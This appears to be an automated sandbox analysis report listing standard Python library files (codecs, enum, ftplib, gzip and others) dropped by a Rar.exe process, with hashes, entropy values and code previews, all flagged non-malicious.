MD5:	99B035D3C80B206F86E525A4DB7704D3
SHA1:	5006274B7CC61564CF6839AC070631F788FD5FCB
SHA-256:	21A95BB95448F2F064F08AA2C89E843B87A20A5A13C45C6C47C288F2BE5219A4
SHA-512:	B19A6876EB04CD5739F99C7C0A07B2269E2EB9A72199A656149DD2B87A25EB0F9945CD9CAEFD2B7DA8756386468294493C6353645CB055343F008CDCFF115F4F
Malicious:	false
Reputation:	low
Preview:	""" Python 'utf-8-sig' Codec..This work similar to UTF-8 with the following changes:....* On encoding/writing a UTF-8 encoded BOM will be prepended/written as the.. first three bytes.....* On decoding/reading if the first three bytes are a UTF-8 encoded BOM, these.. bytes will be skipped..."""..import codecs....### Codec APIs....def encode(input, errors='strict'):.. return (codecs.BOM_UTF8 + codecs.utf_8_encode(input, errors)[0],.. len(input))....def decode(input, errors='strict'):.. prefix = 0.. if input[:3] == codecs.BOM_UTF8:.. input = input[3:].. prefix = 3.. (output, consumed) = codecs.utf_8_decode(input, errors, True).. return (output, consumed+prefix)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. codecs.IncrementalEncoder.__init__(self, errors).. self.first = 1.... def encode(self, input, final=False):.. if self.first:.. self.first = 0.. r

C:\Users\Public\QExvbmVOb25l\Lib\encodings\uu_codec.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2954
Entropy (8bit):	4.703525654326454
Encrypted:	false
SSDEEP:	48:XnE2/bf1OV5FPdLLlKTOARSMoxz1AFPLpLGpW7NRp6/df1Fo141RzuwBvIvPTKrf:XESf1OVjPpUOAoMot8P1HJydf/omXu+P
MD5:	C62CEDA36D6B362A2250094DFA2EF15A
SHA1:	D96068DC9790D38B44F3DA580F134EF1C7288B33
SHA-256:	3991C68ACBB5CE946C6BA71CCB044FBBB449F9EAC9B76262456537EAEBEF9340
SHA-512:	6C0296817CA26680858DB78B38BF1D1BE39FC7EDB7894979251EA3281496E7447914A12C9C5B41A1EAD12610DD472C00FF9752816FE30CFF4298C083DA29B3A3
Malicious:	false
Reputation:	low
Preview:	"""Python 'uu_codec' Codec - UU content transfer encoding.....This codec de/encodes from bytes to bytes.....Written by Marc-Andre Lemburg (mal@lemburg.com). Some details were..adapted from uu.py which was written by Lance Ellinghouse and..modified by Jack Jansen and Fredrik Lundh..."""....import codecs..import binascii..from io import BytesIO....### Codec APIs....def uu_encode(input, errors='strict', filename='<data>', mode=0o666):.. assert errors == 'strict'.. infile = BytesIO(input).. outfile = BytesIO().. read = infile.read.. write = outfile.write.... # Remove newline chars from filename.. filename = filename.replace('\n','\\n').. filename = filename.replace('\r','\\r').... # Encode.. write(('begin %o %s\n' % (mode & 0o777, filename)).encode('ascii')).. chunk = read(45).. while chunk:.. write(binascii.b2a_uu(chunk)).. chunk = read(45).. write(b' \nend\n').... return (outfile.getvalue(), len(input))....def uu_decode(input, error

C:\Users\Public\QExvbmVOb25l\Lib\encodings\zlib_codec.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2281
Entropy (8bit):	4.555875191198799
Encrypted:	false
SSDEEP:	48:XLDD4W1AIejO1AI73101ouY51wdP7z0I51wzD5x6Ftx0+HvIvPTKyJxTPH:XHD4W/ejO/73OauY5y7z/58uXnA3TKyD
MD5:	77C7F92636D3B55460B5E1AFD451D5DB
SHA1:	DCE6B27A30BC191F9CFA34DEA5A27682AE274DE4
SHA-256:	9B660028249BDB7E9B80AF1D5432BF0C90B132A6D0DD205E2DED2A3B3275B728
SHA-512:	93E2E6197321CAD932F88F234EBFAD23F88ABB00C18D2F80C5711D15119CA4D0D1AB261156D6E9A7E1FEEA8A30675759823A3353F353551BA887101CDBBFA98D
Malicious:	false
Reputation:	low
Preview:	"""Python 'zlib_codec' Codec - zlib compression encoding.....This codec de/encodes from bytes to bytes.....Written by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs..import zlib # this codec needs the optional zlib module !....### Codec APIs....def zlib_encode(input, errors='strict'):.. assert errors == 'strict'.. return (zlib.compress(input), len(input))....def zlib_decode(input, errors='strict'):.. assert errors == 'strict'.. return (zlib.decompress(input), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return zlib_encode(input, errors).. def decode(self, input, errors='strict'):.. return zlib_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. assert errors == 'strict'.. self.errors = errors.. self.compressobj = zlib.compressobj().... def encode(self, input, final=False):.. if final:.. c

C:\Users\Public\QExvbmVOb25l\Lib\enum.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	40884
Entropy (8bit):	4.212002396918681
Encrypted:	false
SSDEEP:	384:kSaCRtqc9awL8yzjb4IuSzIcvYFgvHEo0FBbefYu4V+QOxTCe7IpW3W+KP4qxkIr:kShRtqcdp43cvcZFBNFdaI5h/EiAi
MD5:	F87CAC79AB835BAC55991134E9C64A35
SHA1:	63D509BF705342A967CDD1AF116FE2E18CD9346F
SHA-256:	303AFEA74D4A1675A48C6A8D7C4764DA68DBEF1092DC440E4BF3C901F8155609
SHA-512:	9A087073E285F0F19AB210ECEEFB9E2284FFFD87C273413E66575491023A8DCB4295B7C25388F1C2E8E16A74D3B3BFF13EC725BE75DC827541E68364E3A95A6D
Malicious:	false
Reputation:	low
Preview:	import sys..from types import MappingProxyType, DynamicClassAttribute......__all__ = [.. 'EnumMeta',.. 'Enum', 'IntEnum', 'Flag', 'IntFlag',.. 'auto', 'unique',.. ]......def _is_descriptor(obj):.. """.. Returns True if obj is a descriptor, False otherwise... """.. return (.. hasattr(obj, '__get__') or.. hasattr(obj, '__set__') or.. hasattr(obj, '__delete__').. )....def _is_dunder(name):.. """.. Returns True if a __dunder__ name, False otherwise... """.. return (.. len(name) > 4 and.. name[:2] == name[-2:] == '__' and.. name[2] != '_' and.. name[-3] != '_'.. )....def _is_sunder(name):.. """.. Returns True if a _sunder_ name, False otherwise... """.. return (.. len(name) > 2 and.. name[0] == name[-1] == '_' and.. name[1:2] != '_' and.. name[-2:-1] != '_'.. )....def _is_priv

C:\Users\Public\QExvbmVOb25l\Lib\filecmp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10491
Entropy (8bit):	4.527930173678213
Encrypted:	false
SSDEEP:	96:S4TNBBnKhVsBrA7go4ly/vF1AUCzRUYqRvmC14ziCI6mM/MXiYPWEiOVtYhV+BdI:SWZvoF/vrierHCJmM/MltcV+T9x9FxS
MD5:	5BFEBC272A65E815586C0B477529A23B
SHA1:	ABFDCD66A595B8E4FBD983F02DB3E3E17EFBE7D2
SHA-256:	DF39A8D67A582E8E4F54B665B7FD5D87E0754982AC5FBDD6CED3E09039CDAE8D
SHA-512:	04B93F5EAD263FF9889AE3CF97950263559EA8F454594A21F2041973B0DD340564DF5A4F1BEDFA313FDD25BBAB0013ED29FAA3FF911CE9A931C3C3631F4407B8
Malicious:	false
Reputation:	low
Preview:	"""Utilities for comparing files and directories.....Classes:.. dircmp....Functions:.. cmp(f1, f2, shallow=True) -> int.. cmpfiles(a, b, common) -> ([], [], []).. clear_cache()...."""....import os..import stat..from itertools import filterfalse..from types import GenericAlias....__all__ = ['clear_cache', 'cmp', 'dircmp', 'cmpfiles', 'DEFAULT_IGNORES']...._cache = {}..BUFSIZE = 8*1024....DEFAULT_IGNORES = [.. 'RCS', 'CVS', 'tags', '.git', '.hg', '.bzr', '_darcs', '__pycache__']....def clear_cache():.. """Clear the filecmp cache.""".. _cache.clear()....def cmp(f1, f2, shallow=True):.. """Compare two files..... Arguments:.... f1 -- First file name.... f2 -- Second file name.... shallow -- treat files as identical if their stat signatures (type, size,.. mtime) are identical. Otherwise, files are considered different.. if their sizes or contents differ. [default: True].... Return value:.... True if the files are the same

C:\Users\Public\QExvbmVOb25l\Lib\fileinput.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	16904
Entropy (8bit):	4.324042229701554
Encrypted:	false
SSDEEP:	192:aPuyi2h40tVqXZqRPUJeRalQFufMR2RgzRXhRWRhRHR8p8ido/5V6E0j0ZP5Od/C:muy7h40QZqR/nFufe8gNXXcXx4oVPZPn
MD5:	53551CACE03FF1ECBAF2BB02E0F07F1E
SHA1:	06C4B1BA4C943CC08A468E5603AEFE7FAEAEFD20
SHA-256:	8EE12B8E0A09A58129E2AB4D12FA1B132054F12C4090F7FACB943A163C09710F
SHA-512:	EB108AA2557C4A556EF2CDAEFBA2CEC5A95AB2B72DFFCF9B2F96A6199E4202189CAF2E432A67FC907C3FC604EFB7ECE50D859A471D2DB26DFF8C6D0212BB2709
Malicious:	false
Reputation:	low
Preview:	"""Helper class to quickly write a loop over all standard input files.....Typical use is:.... import fileinput.. for line in fileinput.input(encoding="utf-8"):.. process(line)....This iterates over the lines of all files listed in sys.argv[1:],..defaulting to sys.stdin if the list is empty. If a filename is '-' it..is also replaced by sys.stdin and the optional arguments mode and..openhook are ignored. To specify an alternative list of filenames,..pass it as the argument to input(). A single file name is also allowed.....Functions filename(), lineno() return the filename and cumulative line..number of the line that has just been read; filelineno() returns its..line number in the current file; isfirstline() returns true iff the..line just read is the first line of its file; isstdin() returns true..iff the line was read from sys.stdin. Function nextfile() closes the..current file so that the next iteration will read the first line from..the next file (if any); lines not

C:\Users\Public\QExvbmVOb25l\Lib\fnmatch.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6912
Entropy (8bit):	4.406960177155352
Encrypted:	false
SSDEEP:	192:mgdA3GVpoP8oQAhpt4CLJzovn6WkPmByCJi9Xknf06hAIbFR4E:X4CFaJQyCJi9Xkf7x
MD5:	9EDB2D03A76A80ABE64419ACA82EB8A9
SHA1:	1F4C2A1965749322D8F00A09B2F9C5CEBC10D838
SHA-256:	99069DC503E3AA219B5948A5795F1E03A2D4D16786707F7AC10684B4486B66CE
SHA-512:	456828214E46FF835BE80BCB047A044EE3DA189992E7A84D79DD35D61A6737DAF523F8550DEE6B92E926BD3CBF50F40F09DCB78D1D136FCFCB21B253DFDFC8C5
Malicious:	false
Reputation:	low
Preview:	"""Filename matching with shell patterns.....fnmatch(FILENAME, PATTERN) matches according to the local convention...fnmatchcase(FILENAME, PATTERN) always takes case in account.....The functions operate by translating the pattern into a regular..expression. They cache the compiled regular expressions for speed.....The function translate(PATTERN) returns a regular expression..corresponding to PATTERN. (It does not compile it.).."""..import os..import posixpath..import re..import functools....__all__ = ["filter", "fnmatch", "fnmatchcase", "translate"]....# Build a thread-safe incrementing counter to help create unique regexp group..# names across calls...from itertools import count.._nextgroupnum = count().__next__..del count....def fnmatch(name, pat):.. """Test whether FILENAME matches PATTERN..... Patterns are Unix shell style:.... * matches everything.. ? matches any single character.. [seq] matches any character in seq.. [!seq] matches any char not i

C:\Users\Public\QExvbmVOb25l\Lib\fractions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28990
Entropy (8bit):	4.386995679707714
Encrypted:	false
SSDEEP:	384:sYYcjYLGi0di34CXYWETikB0040ArA4cwNlxpjOmGa+:sYzsLGi0649J7Qxpsa+
MD5:	D79E7362E8855E4216B46F90A2D664DF
SHA1:	5580BD5171CED40ADFBF2E95C5DBCEC184A44E20
SHA-256:	AF973E4F1A157C6D1AF2F16A63B384A6DFED0D64880A56DB96EA4E0D8D6EB12D
SHA-512:	DCF9E0486490263D30B60FC1CF1800A1763B6E3DF23CD77C11CF83D7C1AC8ABB34EBF522895BC88D5F409E59C2D93663926D1CA2FAE520631722FDC45E5106D3
Malicious:	false
Reputation:	low
Preview:	# Originally contributed by Sjoerd Mullender...# Significantly modified by Jeffrey Yasskin <jyasskin at gmail.com>....."""Fraction, infinite-precision, real numbers."""....from decimal import Decimal..import math..import numbers..import operator..import re..import sys....__all__ = ['Fraction']......# Constants related to the hash implementation; hash(x) is based..# on the reduction of x modulo the prime _PyHASH_MODULUS..._PyHASH_MODULUS = sys.hash_info.modulus..# Value to be used for rationals that reduce to infinity modulo..# _PyHASH_MODULUS..._PyHASH_INF = sys.hash_info.inf...._RATIONAL_FORMAT = re.compile(r""".. \A\s* # optional whitespace at the start, then.. (?P<sign>[-+]?) # an optional sign, then.. (?=\d\|\.\d) # lookahead for digit or .digit.. (?P<num>\d*) # numerator (possibly empty).. (?: # followed by.. (?:/(?P<denom>\d+))? # an optional denominator.. \|

C:\Users\Public\QExvbmVOb25l\Lib\ftplib.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	36477
Entropy (8bit):	4.494220235473389
Encrypted:	false
SSDEEP:	768:xp+qv4dk/rJQJ9+Lx8CDSh8Y+3+amueaw+QHCRi3LdO:xpDTzJQJiDSh8Y+3+fzKEei3L8
MD5:	B14842A034453578318FD0ACD801A0CC
SHA1:	6E4F32C29E9296DCE1452ACE023894F0E1A8B756
SHA-256:	B85739A95BE5A2374013E9892DBFA5AC75312024EF7EBB9BCB4102B0F5BF0F82
SHA-512:	58A628BBC100E1CA623ADA41C2E79302B15A1ED6E5920F385ED26B711383C01483F150AB3DFD39C8A07834A1FCA68F90AE3B4F2CCB59DB8280ED812F93320962
Malicious:	false
Reputation:	low
Preview:	"""An FTP client class and some helper functions.....Based on RFC 959: File Transfer Protocol (FTP), by J. Postel and J. Reynolds....Example:....>>> from ftplib import FTP..>>> ftp = FTP('ftp.python.org') # connect to host, default port..>>> ftp.login() # default, i.e.: user anonymous, passwd anonymous@..'230 Guest login ok, access restrictions apply.'..>>> ftp.retrlines('LIST') # list directory contents..total 9..drwxr-xr-x 8 root wheel 1024 Jan 3 1994 ...drwxr-xr-x 8 root wheel 1024 Jan 3 1994 ....drwxr-xr-x 2 root wheel 1024 Jan 3 1994 bin..drwxr-xr-x 2 root wheel 1024 Jan 3 1994 etc..d-wxrwxr-x 2 ftp wheel 1024 Sep 5 13:43 incoming..drwxr-xr-x 2 root wheel 1024 Nov 17 1993 lib..drwxr-xr-x 6 1094 wheel 1024 Sep 13 19:07 pub..drwxr-xr-x 3 root wheel 1024 Jan 3 1994 usr..-rw-r--r-- 1 root root 312 Aug 1 1994 welcome.msg..'226 Transfer complete.'..>>> ft

C:\Users\Public\QExvbmVOb25l\Lib\functools.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	39068
Entropy (8bit):	4.558893536012342
Encrypted:	false
SSDEEP:	768:sWkKM+qgJeCAkxPN2NqXBF7sMHrCXZdgbV6TeLCD+26:sWkfgJeCAk7v7sMHrCpEWB6
MD5:	E451C9675E4233DE278ACF700AC7395F
SHA1:	1E7D4C5DB5FC692540C31E1B4DB4679051EB5DF8
SHA-256:	B4698D03B4D366F2B032F5DE66B8181ED8E371C0D7D714B7672432E18D80636B
SHA-512:	4DB40159DB7427CE05D36AA3A6B05151742E6C122DFBDC679C10DCC667FC999FF1302BB2E2BE6F58B895911CF436B27AD78FD64CCF077DEB94046667520111B9
Malicious:	false
Reputation:	low
Preview:	"""functools.py - Tools for working with functions and callable objects.."""..# Python module wrapper for _functools C module..# to allow utilities written in Python to be added..# to the functools module...# Written by Nick Coghlan <ncoghlan at gmail.com>,..# Raymond Hettinger <python at rcn.com>,..# and .ukasz Langa <lukasz at langa.pl>...# Copyright (C) 2006-2013 Python Software Foundation...# See C source code for _functools credits/copyright....__all__ = ['update_wrapper', 'wraps', 'WRAPPER_ASSIGNMENTS', 'WRAPPER_UPDATES',.. 'total_ordering', 'cache', 'cmp_to_key', 'lru_cache', 'reduce',.. 'partial', 'partialmethod', 'singledispatch', 'singledispatchmethod',.. 'cached_property']....from abc import get_cache_token..from collections import namedtuple..# import types, weakref # Deferred to single_dispatch()..from reprlib import recursive_repr..from _thread import RLock..from types import GenericAlias......#############################################

C:\Users\Public\QExvbmVOb25l\Lib\genericpath.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5130
Entropy (8bit):	4.610395495126573
Encrypted:	false
SSDEEP:	96:jqn24r0OS60O04+jl2LyqSgPGfGeYM6Zf8lG4iuRs+laP8q+PCI7ocfz/r/j:jq24r0v60hLhWL+fuMeebiuRPr/r/j
MD5:	5AD610407613DEFB331290EE02154C42
SHA1:	3FF9028BDF7346385607B5A3235F5FF703BCF207
SHA-256:	2E162781CD02127606F3F221FCAA19C183672D1D3E20FDB83FE9950AB5024244
SHA-512:	9A742C168A6C708A06F4307ABCB92CEDE02400BF53A004669B08BD3757D8DB7C660934474EC379C0464E17FFD25310DBAB525B6991CF493E97DCD49C4038F9B7
Malicious:	false
Reputation:	low
Preview:	"""..Path operations common to more than one OS..Do not use directly. The OS specific modules import the appropriate..functions from this module themselves..."""..import os..import stat....__all__ = ['commonprefix', 'exists', 'getatime', 'getctime', 'getmtime',.. 'getsize', 'isdir', 'isfile', 'samefile', 'sameopenfile',.. 'samestat']......# Does a path exist?..# This is false for dangling symbolic links on systems that support them...def exists(path):.. """Test whether a path exists. Returns False for broken symbolic links""".. try:.. os.stat(path).. except (OSError, ValueError):.. return False.. return True......# This follows symbolic links, so both islink() and isdir() can be true..# for the same path on systems that support symlinks..def isfile(path):.. """Test whether a path is a regular file""".. try:.. st = os.stat(path).. except (OSError, ValueError):.. return False.. return stat.S_ISREG(st.st_mode)......

C:\Users\Public\QExvbmVOb25l\Lib\getopt.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7704
Entropy (8bit):	4.59015983026496
Encrypted:	false
SSDEEP:	192:oSGuBRjBdvQQ0ZWBX0RfUFCo/g/FF+44VJ3X0WNoO:oj0dH0ZWB+LBwJnkO
MD5:	08EF4DCA79267E51C1CB8B9DB09C0CC8
SHA1:	549CE2C250CF5D33DC427D29D3D387672B6BD3D2
SHA-256:	42DDAA74BF0B85F684D1C4F40B1C460AEF05B8DBF6FD05FCA68D71D2A07F8AAF
SHA-512:	4475B17CA19D985F2C5C017C99A17330BC8AD9FD07B560F472884FF7897284960BAA3A37DF5EE643C6B886715E87293B660D73B221A09D08BC32C1B9421439A6
Malicious:	false
Reputation:	low
Preview:	"""Parser for command line options.....This module helps scripts to parse the command line arguments in..sys.argv. It supports the same conventions as the Unix getopt()..function (including the special meanings of arguments of the form `-'..and `--'). Long options similar to those supported by GNU software..may be used as well via an optional third argument. This module..provides two functions and an exception:....getopt() -- Parse command line options..gnu_getopt() -- Like getopt(), but allow option and non-option arguments..to be intermixed...GetoptError -- exception (class) raised with 'opt' attribute, which is the..option involved with the exception..."""....# Long option support added by Lars Wirzenius <liw@iki.fi>...#..# Gerrit Holl <gerrit@nl.linux.org> moved the string-based exceptions..# to class-based exceptions...#..# Peter .strand <astrand@lysator.liu.se> added gnu_getopt()...#..# TODO for gnu_getopt():..#..# - GNU getopt_long_only mechanism..# - allow the caller to spe

C:\Users\Public\QExvbmVOb25l\Lib\getpass.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6175
Entropy (8bit):	4.440480314278831
Encrypted:	false
SSDEEP:	96:PX8OzPyKo5dCMPUwl5o0FvZGNYAp83byrYl4Npx2AfeX2RMqdzNydJdCymzGFQ6Z:0OOVvTAlNppYsYmpxvxRMqtM39Q6qQJ
MD5:	0F8B3481C15E6805AFAD8EAE8E770FA1
SHA1:	25DDD71B1BD1F38E61A70C1B53E40F0752D328DF
SHA-256:	D2B77376A296CBDD0F659DA6CAB047426A4719D3F09949ABA8F334BD01E80593
SHA-512:	0E7EE49047339D8DF9D1F233C6EB47004B76D41EE324DACBBDDDA4C55D7C85CFBBFCDE3F9762B9B51AEC6007DEA4796852846A35B8094E61B8F9D472C838B348
Malicious:	false
Reputation:	low
Preview:	"""Utilities to get a password and/or the current user name.....getpass(prompt[, stream]) - Prompt for a password, with echo turned off...getuser() - Get the user name from the environment or password database.....GetPassWarning - This UserWarning is issued when getpass() cannot prevent.. echoing of the password contents while reading.....On Windows, the msvcrt module will be used....."""....# Authors: Piers Lauder (original)..# Guido van Rossum (Windows support and cleanup)..# Gregory P. Smith (tty support & GetPassWarning)....import contextlib..import io..import os..import sys..import warnings....__all__ = ["getpass","getuser","GetPassWarning"]......class GetPassWarning(UserWarning): pass......def unix_getpass(prompt='Password: ', stream=None):.. """Prompt for a password, with echo turned off..... Args:.. prompt: Written on stream to ask for the input. Default: 'Password: '.. stream: A writable file object to display the prompt. Def

C:\Users\Public\QExvbmVOb25l\Lib\gettext.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28054
Entropy (8bit):	4.498377159987173
Encrypted:	false
SSDEEP:	384:8KE7Hoh/b92mxgRPkwKAUJLyFXtC6Q5j7KdrF3Ep77KmlnkqHJbKAit:8v2bjxgNkwKZZyG6aHKdrdmlnkht
MD5:	FAF4F6D15309F3F0FF72B5250F4A572D
SHA1:	132319D16F45EC0A6A39F5ED1253728F5AEFE9A1
SHA-256:	0CFE0A76C6EE6A60BE2C0DD259B115AEFF96E2CAFEE3C5DDF108991EDD8CC527
SHA-512:	1C22108C0B3C39B6B8670678E8DDDDFCEBCC6E2C3114784FEFA24D2111B5870CE538220120EC7C6C586A2AF4619B5D34B3142F2D3150D7B6B3CF653358278850
Malicious:	false
Reputation:	low
Preview:	"""Internationalization and localization support.....This module provides internationalization (I18N) and localization (L10N)..support for your Python programs by providing an interface to the GNU gettext..message catalog library.....I18N refers to the operation by which a program is made aware of multiple..languages. L10N refers to the adaptation of your program, once..internationalized, to the local language and cultural habits....."""....# This module represents the integration of work, contributions, feedback, and..# suggestions from the following people:..#..# Martin von Loewis, who wrote the initial implementation of the underlying..# C-based libintlmodule (later renamed _gettext), along with a skeletal..# gettext.py implementation...#..# Peter Funk, who wrote fintl.py, a fairly complete wrapper around intlmodule,..# which also included a pure-Python implementation to read .mo files if..# intlmodule wasn't available...#..# James Henstridge, who also wrote a gettext.py module, wh

C:\Users\Public\QExvbmVOb25l\Lib\glob.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8125
Entropy (8bit):	4.483744893777771
Encrypted:	false
SSDEEP:	192:pFc4Arou6Aroegm/Mn76MRcjRDaaySlZLVixLOTu7tTy:pyPMAMxm/Mnnc9DaaXB4xnhu
MD5:	9DABC8ECFFFB6F16FD59D418F35E21C3
SHA1:	2FD0A0E2D52FBA4CE022A92033CCE7FFADE39BA5
SHA-256:	BE68BE3D9A2052A254879D80A56CE69B6E6A9C1C82BBC7B3608CA8BA4749EF75
SHA-512:	3CC5A9DA1D426FC128E76A5278D58B6DB40E81C4F4D64FED96A613DE7D3340425CA70E103EB84C4BCC766CD7C0F5ECA8691031E2300949C3642C2127C69C893C
Malicious:	false
Reputation:	low
Preview:	"""Filename globbing utility."""....import contextlib..import os..import re..import fnmatch..import itertools..import stat..import sys....__all__ = ["glob", "iglob", "escape"]....def glob(pathname, , root_dir=None, dir_fd=None, recursive=False):.. """Return a list of paths matching a pathname pattern..... The pattern may contain simple shell-style wildcards a la.. fnmatch. However, unlike fnmatch, filenames starting with a.. dot are special cases that are not matched by '' and '?'.. patterns..... If recursive is true, the pattern '*' will match any files and.. zero or more directories and subdirectories... """.. return list(iglob(pathname, root_dir=root_dir, dir_fd=dir_fd, recursive=recursive))....def iglob(pathname, , root_dir=None, dir_fd=None, recursive=False):.. """Return an iterator which yields the paths matching a pathname pattern..... The pattern may contain simple shell-style wildcards a la.. fnmatch. However, unlike fnmatch, filenames s

C:\Users\Public\QExvbmVOb25l\Lib\graphlib.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	4.255538830099529
Encrypted:	false
SSDEEP:	96:rNcRMEUR8YGCyTXFCRIBxgI1umbJrjMpxEIPktyaZN58Uff7yWPJyeTs7SD3Kqn2:piMEUmCyQMxgI0XEBX58UFXl+H
MD5:	EE15C72D9CE4C8AC3566570A1B5ADB79
SHA1:	14A72977DA46F96BAA3AA348AC77DE6F3CFC065C
SHA-256:	2C618FBEF31D772844057C4CFA74BD90874CE0FD9FAB886E3597E4FCA8AEA7E7
SHA-512:	19598987512034E50175FBAFB9F948595EA7FBD9CB4A7004DB55D56A770D964033E2441DE6F6B62D2CBD7B730A8CAB68A3CBFACE05447354B9AD66F4D1544F4E
Malicious:	false
Reputation:	low
Preview:	__all__ = ["TopologicalSorter", "CycleError"]...._NODE_OUT = -1.._NODE_DONE = -2......class _NodeInfo:.. __slots__ = "node", "npredecessors", "successors".... def __init__(self, node):.. # The node this class is augmenting... self.node = node.... # Number of predecessors, generally >= 0. When this value falls to 0,.. # and is returned by get_ready(), this is set to _NODE_OUT and when the.. # node is marked done by a call to done(), set to _NODE_DONE... self.npredecessors = 0.... # List of successor nodes. The list can contain duplicated elements as.. # long as they're all reflected in the successor's npredecessors attribute... self.successors = []......class CycleError(ValueError):.. """Subclass of ValueError raised by TopologicalSorter.prepare if cycles.. exist in the working graph..... If multiple cycles exist, only one undefined choice among them will be reported.. and included in the exception. The det

C:\Users\Public\QExvbmVOb25l\Lib\gzip.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	22458
Entropy (8bit):	4.493285652895645
Encrypted:	false
SSDEEP:	384:4rrWHTcJt2MIIfqSErRS7IO9a/86ZBbV7QywQXBnT:KJtpAU7huR7Q8T
MD5:	97D3C070D8BAC4A2C8F92F64864C6814
SHA1:	D621A5BB1939468B25D45216A794681BF1765431
SHA-256:	AE72AA290F3AA83BDAA337D92C19B39E396F7BE984FB0F9B60F57464AAA18020
SHA-512:	D56D16D5E1BBE29CC7CAECC2D74A1E44D21710A6E523AAF6E3B3B0E259502272A8C0F470A12526B5DFE575597D40285E480FEC6047EF16517A29E91868B50AB2
Malicious:	false
Reputation:	low
Preview:	"""Functions that read and write gzipped files.....The user of the file doesn't have to worry about the compression,..but random access is not allowed."""....# based on Andrew Kuchling's minigzip.py distributed with the zlib module....import struct, sys, time, os..import zlib..import builtins..import io..import _compression....__all__ = ["BadGzipFile", "GzipFile", "open", "compress", "decompress"]....FTEXT, FHCRC, FEXTRA, FNAME, FCOMMENT = 1, 2, 4, 8, 16....READ, WRITE = 1, 2...._COMPRESS_LEVEL_FAST = 1.._COMPRESS_LEVEL_TRADEOFF = 6.._COMPRESS_LEVEL_BEST = 9......def open(filename, mode="rb", compresslevel=_COMPRESS_LEVEL_BEST,.. encoding=None, errors=None, newline=None):.. """Open a gzip-compressed file in binary or text mode..... The filename argument can be an actual filename (a str or bytes object), or.. an existing file object to read from or write to..... The mode argument can be "r", "rb", "w", "wb", "x", "xb", "a" or "ab" for.. binary mode, or "rt", "wt",

C:\Users\Public\QExvbmVOb25l\Lib\hashlib.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10498
Entropy (8bit):	4.823698140650247
Encrypted:	false
SSDEEP:	96:KSBDUhawz9fJ+8lOVaX2B916+jZVJ0tMmLfGfpR9eGe9IpeuR95x4TgDM4KAiu9k:KSBmfj2LEMmqpR+9u5d4H4JH9xx4v
MD5:	21DD74815051864F290794402768F3B9
SHA1:	A5D1E78B5C9172FE184D6B32B67848164EDEBB34
SHA-256:	4F2CD247217F809905C3D7A3178EAE31D697C33CA42F06E9D2217DF86D4832A8
SHA-512:	194464D2309DADBBB2CCB8217765F727BE9E86914EB67ECEA89332BAA8629A9E0C40A7707DDEB7DB768A2FC85DED20EF8D74FE03CDD78998B29EF374E9D74953
Malicious:	false
Reputation:	low
